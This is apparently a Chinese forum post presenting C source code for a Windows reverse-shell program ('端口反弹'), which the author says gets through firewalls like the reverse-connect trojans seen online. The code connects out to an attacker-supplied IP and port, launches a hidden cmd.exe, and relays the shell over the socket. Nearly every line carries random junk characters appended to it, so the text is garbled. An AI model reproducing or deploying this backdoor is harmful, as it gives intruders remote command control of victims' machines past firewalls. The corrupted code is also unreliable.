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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o] Xt2E  
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/* ============================== |r*)U(c`  
Rebound port in Windows NT ae2Q^yLA  
By wind,2006/7 -@e2/6Oi  
===============================*/ d[>HxPwo  
#include [~u&#!*W  
#include *s,[Uy![  
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#pragma comment(lib,"wsock32.lib") :r@t'  
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void OutputShell(); ^?$,sS ;Q  
SOCKET sClient; _1NK9dp:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'zM=[#!B  
[}YUi>NGA  
void main(int argc,char **argv) Q6W![571;  
{ -OSj<m<  
WSADATA stWsaData; ^DN:.qQ  
int nRet; 2j: 0!%  
SOCKADDR_IN stSaiClient,stSaiServer; 43pe6 ^.  
|mP};&b  
if(argc != 3) }DXG;L  
{ =gs-#\%  
printf("Useage:\n\rRebound DestIP DestPort\n"); 'f!U[Qatg  
return; NJ)Dw`|%|)  
} ~_-]> SI  
xZP*%yM  
WSAStartup(MAKEWORD(2,2),&stWsaData); +Q[uq!<VJk  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #R{>@]x`  
3*& Y'/!  
stSaiClient.sin_family = AF_INET; h~m,0nGO  
stSaiClient.sin_port = htons(0); .07`nIs"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z;%uDlcXI  
*X(:vET  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Km;}xke6  
{ 00.x*v  
printf("Bind Socket Failed!\n"); i1|>JM[V  
return; .G8>UXX  
}  #D4  
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stSaiServer.sin_family = AF_INET; G0{Z@CvO'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T#H^ }`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4SZ,X^]I>  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {Q3OT  
{ +?Ii=*7n  
printf("Connect Error!"); X3\PVsH$K  
return; 6,A|9UX=`  
} d?8OY  
OutputShell(); *m}8L%<HT  
} X>Vc4n<}  
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void OutputShell() bAPMD  
{ .P$m?p#  
char szBuff[1024]; ]:Gy]qkO  
SECURITY_ATTRIBUTES stSecurityAttributes; 4 kjfYf@A  
OSVERSIONINFO stOsversionInfo; E=N$JM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z^ :_,aJ?  
STARTUPINFO stStartupInfo; g#=<;X2  
char *szShell; >I|8yqbfm  
PROCESS_INFORMATION stProcessInformation; 8i154#l+\  
unsigned long lBytesRead; dMH_:jb  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Tb$))O}  
3)y1q>CQf  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1o`1W4Q  
stSecurityAttributes.lpSecurityDescriptor = 0; E ?Mgbd3  
stSecurityAttributes.bInheritHandle = TRUE; rXi&8R[  
[zx|3wWAX-  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '9zW#b  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n@8Y6+7i  
0&UG=q  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); PjeI&@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TKR#YJQ?K  
stStartupInfo.wShowWindow = SW_HIDE; $<v4c5r]O  
stStartupInfo.hStdInput = hReadPipe; dS ojq6M  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -K'UXoU1  
UZI:st   
GetVersionEx(&stOsversionInfo); o]q~sJVk6  
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switch(stOsversionInfo.dwPlatformId) *S ag  
{ rO7_K>g?  
case 1: u%~'+=  
szShell = "command.com"; ) 2Ei<  
break;  y:RW:D&  
default: F qH))2  
szShell = "cmd.exe"; 'F d+1 3  
break; `eM ZhY o  
} 0f6o0@  
d}\]!x3t  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ryL1<u ~  
[)Nt;|U  
send(sClient,szMsg,77,0); J<0{3pZY  
while(1) ]E-/}Ysz  
{ ^OKm (  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f~NS{gL*  
if(lBytesRead) w7Yu} JY^  
{ KL'1)G"OH  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); QPVi& *8_  
send(sClient,szBuff,lBytesRead,0); N4vcd=uG#  
} 9;+&}:IVS  
else ZAr6RRv ^  
{ H~Uf2A)C  
lBytesRead=recv(sClient,szBuff,1024,0); Sb[>R(0:  
if(lBytesRead<=0) break; k24I1DlR8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \J+a7N8m,  
} ',r` )9o  
} LP"g(D2'n  
UjI./"]O  
return; b*n3Fej  
}
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